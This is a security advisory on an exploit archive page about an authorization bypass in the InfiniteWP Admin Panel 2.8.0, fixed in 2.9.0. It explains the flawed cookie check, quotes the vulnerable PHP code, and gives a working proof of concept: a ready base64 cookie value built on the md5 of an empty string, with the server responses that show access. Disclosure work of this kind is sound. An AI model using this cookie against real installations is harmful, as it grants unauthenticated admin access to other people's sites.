what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress InfiniteWP Admin Panel 2.8.0 Authorization Bypass

WordPress InfiniteWP Admin Panel 2.8.0 Authorization Bypass
Posted Sep 10, 2016
Authored by Securify B.V., Sipke Mellema

WordPress InfiniteWP Admin Panel version 2.8.0 suffers from an authorization bypass vulnerability.

tags | exploit, bypass
SHA-256 | f0a3fd0adecee87dc4703e392a9724bd2a0c46a482e40d6e291bed9f76b941de

WordPress InfiniteWP Admin Panel 2.8.0 Authorization Bypass

Change Mirror Download
------------------------------------------------------------------------
Authorization bypass in InfiniteWP Admin Panel
------------------------------------------------------------------------
Sipke Mellema, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
An authorization bypass was found in the InfiniteWP Admin Panel that
allows an unauthenticated attacker to gain access to the InfiniteWP
Admin Panel.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0007

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on IWPAdminPanel version 2.8.0.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in IWPAdminPanel version 2.9.0.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/authorization_bypass_in_infinitewp_admin_panel.html

Most files in the Admin Panel (ajax.php, debug.php, et cetera) include app.php from the includes directory. This files calls the method checkUserLoggedInAndRedirect, to check if a user is logged in.

The method checkUserLoggedInAndRedirect will call checkUserLoggedIn, where a user's cookie will be unserialized. The expected value from the unserialization is a string, which will be splitted on "||". The first value will be treated as an email address and the second value as an md5 hash. The email address is used to retrieve user data from the database. The database query will return an email address and a password.

The email address and password from the result are appended to each other and are transformed to an md5 hash. This hash is compared to the hash from the cookie. If these match, the method will return true, meaning the user logged in.

By submitting a cookie with a non-existent email address the query will return an empty result. The generated md5 hash will be the md5 hash of an empty string:

md5(email + password) = md5("" + "") = md5("") = "d41d8cd98f00b204e9800998ecf8427e"

Vulnerable code:

list($userEmail,$userSlat) = explode('||', $userCookie);
$userEmail = filterParameters($userEmail);
if($userEmail!='' && $userSlat!='') {
$where = array(
'query' => "email = ':email'" ,
'params' => array(
':email'=>trim($userEmail)
)
);
$userInfo = DB::getRow("?:users", "userID,email,password", $where );

$GLOBALS['userID'] = $userInfo['userID'];
$GLOBALS['email'] = strtolower($userInfo['email']);
$dbSlat = md5($GLOBALS['email'].$userInfo['password']);
if($userSlat==$dbSlat) {
$return = true;

Proof of concept

The following value can be base64 encoded in the user cookie to bypass the authorization check:

s:44:"falseEmail||d41d8cd98f00b204e9800998ecf8427e";

This includes a non-existing email address (falseEmail) and the md5 hash of an empty string (d41d8cd98f00b204e9800998ecf8427e).

Exploitation can be shown as follows. First, call the ajax.php page without a cookie to ensure that you are not logged in:
http://<webserver>/IWPAdminPanel_v2.8.0/ajax.php

This should return:

'{"logout":true}'...

Now set a cookie named iwp_userCookie to czo0NDoiZmFsc2VFbWFpbHx8ZDQxZDhjZDk4ZjAwYjIwNGU5ODAwOTk4ZWNmODQyN2UiOw== and visit the URL again. It will now return:

{"actionResult":[],"data":[]...


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    41 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close